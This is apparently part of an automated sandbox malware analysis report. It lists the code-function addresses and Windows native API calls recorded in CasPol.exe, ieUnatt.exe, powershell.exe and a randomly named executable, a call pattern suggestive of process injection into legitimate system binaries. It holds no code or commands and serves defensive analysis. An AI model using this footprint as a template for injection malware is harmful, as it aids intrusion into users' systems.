Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01593090 NtSetValueKey,	10_2_01593090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01594340 NtSetContextThread,	10_2_01594340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01594650 NtSuspendThread,	10_2_01594650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015939B0 NtGetContextThread,	10_2_015939B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592BF0 NtAllocateVirtualMemory,	10_2_01592BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592BE0 NtQueryValueKey,	10_2_01592BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592B80 NtQueryInformationFile,	10_2_01592B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592BA0 NtEnumerateValueKey,	10_2_01592BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592AD0 NtReadFile,	10_2_01592AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592AF0 NtWriteFile,	10_2_01592AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592AB0 NtWaitForSingleObject,	10_2_01592AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01593D70 NtOpenThread,	10_2_01593D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592D10 NtMapViewOfSection,	10_2_01592D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01593D10 NtOpenProcessToken,	10_2_01593D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592D00 NtSetInformationFile,	10_2_01592D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592D30 NtUnmapViewOfSection,	10_2_01592D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592DD0 NtDelayExecution,	10_2_01592DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592DB0 NtEnumerateKey,	10_2_01592DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592C60 NtCreateKey,	10_2_01592C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592C00 NtQueryInformationProcess,	10_2_01592C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592CC0 NtQueryVirtualMemory,	10_2_01592CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592CF0 NtOpenProcess,	10_2_01592CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592CA0 NtQueryInformationToken,	10_2_01592CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592F60 NtCreateProcessEx,	10_2_01592F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592F30 NtCreateSection,	10_2_01592F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592FE0 NtCreateFile,	10_2_01592FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592F90 NtProtectVirtualMemory,	10_2_01592F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592FB0 NtResumeThread,	10_2_01592FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592FA0 NtQuerySection,	10_2_01592FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592E30 NtWriteVirtualMemory,	10_2_01592E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592EE0 NtQueueApcThread,	10_2_01592EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592E80 NtReadVirtualMemory,	10_2_01592E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592EA0 NtAdjustPrivilegesToken,	10_2_01592EA0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051435C0 NtCreateMutant,LdrInitializeThunk,	12_2_051435C0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05144650 NtSuspendThread,LdrInitializeThunk,	12_2_05144650
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05144340 NtSetContextThread,LdrInitializeThunk,	12_2_05144340
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142D10 NtMapViewOfSection,LdrInitializeThunk,	12_2_05142D10
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142D30 NtUnmapViewOfSection,LdrInitializeThunk,	12_2_05142D30
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142DD0 NtDelayExecution,LdrInitializeThunk,	12_2_05142DD0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142DF0 NtQuerySystemInformation,LdrInitializeThunk,	12_2_05142DF0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142C70 NtFreeVirtualMemory,LdrInitializeThunk,	12_2_05142C70
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142C60 NtCreateKey,LdrInitializeThunk,	12_2_05142C60
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142CA0 NtQueryInformationToken,LdrInitializeThunk,	12_2_05142CA0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142F30 NtCreateSection,LdrInitializeThunk,	12_2_05142F30
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142FB0 NtResumeThread,LdrInitializeThunk,	12_2_05142FB0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142FE0 NtCreateFile,LdrInitializeThunk,	12_2_05142FE0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142E80 NtReadVirtualMemory,LdrInitializeThunk,	12_2_05142E80
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142EE0 NtQueueApcThread,LdrInitializeThunk,	12_2_05142EE0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051439B0 NtGetContextThread,LdrInitializeThunk,	12_2_051439B0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142B60 NtClose,LdrInitializeThunk,	12_2_05142B60
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142BA0 NtEnumerateValueKey,LdrInitializeThunk,	12_2_05142BA0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	12_2_05142BF0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142BE0 NtQueryValueKey,LdrInitializeThunk,	12_2_05142BE0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142AD0 NtReadFile,LdrInitializeThunk,	12_2_05142AD0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142AF0 NtWriteFile,LdrInitializeThunk,	12_2_05142AF0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05143010 NtOpenDirectoryObject,	12_2_05143010
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05143090 NtSetValueKey,	12_2_05143090
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05143D10 NtOpenProcessToken,	12_2_05143D10
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142D00 NtSetInformationFile,	12_2_05142D00
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05143D70 NtOpenThread,	12_2_05143D70
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142DB0 NtEnumerateKey,	12_2_05142DB0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142C00 NtQueryInformationProcess,	12_2_05142C00
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142CC0 NtQueryVirtualMemory,	12_2_05142CC0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142CF0 NtOpenProcess,	12_2_05142CF0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142F60 NtCreateProcessEx,	12_2_05142F60
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142F90 NtProtectVirtualMemory,	12_2_05142F90
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142FA0 NtQuerySection,	12_2_05142FA0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142E30 NtWriteVirtualMemory,	12_2_05142E30
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142EA0 NtAdjustPrivilegesToken,	12_2_05142EA0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142B80 NtQueryInformationFile,	12_2_05142B80
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05142AB0 NtWaitForSingleObject,	12_2_05142AB0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_03238B20 NtReadFile,	12_2_03238B20
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_032389C0 NtCreateFile,	12_2_032389C0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_03238E00 NtAllocateVirtualMemory,	12_2_03238E00
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_03238C10 NtDeleteFile,	12_2_03238C10
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_03238CB0 NtClose,	12_2_03238CB0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04B487D0	7_2_04B487D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04B47FED	7_2_04B47FED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00417ED3	10_2_00417ED3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00401000	10_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0040F803	10_2_0040F803
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_004160B3	10_2_004160B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00401260	10_2_00401260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0040FA23	10_2_0040FA23
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00402ADD	10_2_00402ADD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00402AE0	10_2_00402AE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0040DAA3	10_2_0040DAA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00402340	10_2_00402340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0042E333	10_2_0042E333
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00402334	10_2_00402334
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_00402E70	10_2_00402E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0040F7FA	10_2_0040F7FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0162B16B	10_2_0162B16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0159516C	10_2_0159516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FA118	10_2_015FA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01550100	10_2_01550100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016181CC	10_2_016181CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016201AA	10_2_016201AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156B1B0	10_2_0156B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161F0E0	10_2_0161F0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016170E9	10_2_016170E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160F0CC	10_2_0160F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154D34C	10_2_0154D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161A352	10_2_0161A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161132D	10_2_0161132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016203E6	10_2_016203E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156E3F0	10_2_0156E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015A739A	10_2_015A739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157B2C0	10_2_0157B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015652A0	10_2_015652A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01617571	10_2_01617571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01560535	10_2_01560535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FD5B0	10_2_015FD5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01620591	10_2_01620591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01612446	10_2_01612446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01551460	10_2_01551460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161F43F	10_2_0161F43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160E4F6	10_2_0160E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01584750	10_2_01584750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01560770	10_2_01560770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155C7C0	10_2_0155C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161F7B0	10_2_0161F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016116CC	10_2_016116CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157C6E0	10_2_0157C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01569950	10_2_01569950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157B950	10_2_0157B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01576962	10_2_01576962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0162A9A6	10_2_0162A9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015629A0	10_2_015629A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01562840	10_2_01562840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156A840	10_2_0156A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E8F0	10_2_0158E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015638E0	10_2_015638E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015468B8	10_2_015468B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161FB76	10_2_0161FB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161AB40	10_2_0161AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0159DBF9	10_2_0159DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01616BD7	10_2_01616BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157FB80	10_2_0157FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01617A46	10_2_01617A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161FA49	10_2_0161FA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D3A6C	10_2_015D3A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160DAC6	10_2_0160DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155EA80	10_2_0155EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FDAAC	10_2_015FDAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015A5AA0	10_2_015A5AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01617D73	10_2_01617D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01563D40	10_2_01563D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01611D5A	10_2_01611D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156AD00	10_2_0156AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157FDC0	10_2_0157FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155ADE0	10_2_0155ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01578DBF	10_2_01578DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01560C00	10_2_01560C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D9C32	10_2_015D9C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161FCF2	10_2_0161FCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01550CF2	10_2_01550CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600CB5	10_2_01600CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D4F40	10_2_015D4F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161FF09	10_2_0161FF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01580F30	10_2_01580F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015A2F28	10_2_015A2F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01552FC8	10_2_01552FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156CFE0	10_2_0156CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561F92	10_2_01561F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161FFB1	10_2_0161FFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01560E59	10_2_01560E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161EE26	10_2_0161EE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161EEDB	10_2_0161EEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01572E90	10_2_01572E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01569EB0	10_2_01569EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161CE93	10_2_0161CE93
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_039933B8	11_2_039933B8
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_03972B28	11_2_03972B28
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_03974AA8	11_2_03974AA8
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_0397B138	11_2_0397B138
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_03974888	11_2_03974888
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_0397487F	11_2_0397487F
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 11_2_0397CF58	11_2_0397CF58
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05110535	12_2_05110535
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051C7571	12_2_051C7571
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051D0591	12_2_051D0591
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051AD5B0	12_2_051AD5B0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CF43F	12_2_051CF43F
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051C2446	12_2_051C2446
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05101460	12_2_05101460
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051BE4F6	12_2_051BE4F6
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05134750	12_2_05134750
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05110770	12_2_05110770
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CF7B0	12_2_051CF7B0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0510C7C0	12_2_0510C7C0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051C16CC	12_2_051C16CC
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0512C6E0	12_2_0512C6E0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051AA118	12_2_051AA118
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05100100	12_2_05100100
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05198158	12_2_05198158
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051DB16B	12_2_051DB16B
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0514516C	12_2_0514516C
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_050FF172	12_2_050FF172
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0511B1B0	12_2_0511B1B0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051D01AA	12_2_051D01AA
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051C81CC	12_2_051C81CC
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051170C0	12_2_051170C0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051BF0CC	12_2_051BF0CC
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051C70E9	12_2_051C70E9
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CF0E0	12_2_051CF0E0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051C132D	12_2_051C132D
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_050FD34C	12_2_050FD34C
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051CA352	12_2_051CA352
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0515739A	12_2_0515739A
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0511E3F0	12_2_0511E3F0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051D03E6	12_2_051D03E6
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051B0274	12_2_051B0274
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051152A0	12_2_051152A0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0512B2C0	12_2_0512B2C0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051B12ED	12_2_051B12ED
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0511AD00	12_2_0511AD00
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051C1D5A	12_2_051C1D5A
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05113D40	12_2_05113D40
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051C7D73	12_2_051C7D73
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05128DBF	12_2_05128DBF
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0512FDC0	12_2_0512FDC0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_0510ADE0	12_2_0510ADE0
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05110C00	12_2_05110C00
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05189C32	12_2_05189C32
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_051B0CB5	12_2_051B0CB5
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 12_2_05100CF2	12_2_05100CF2
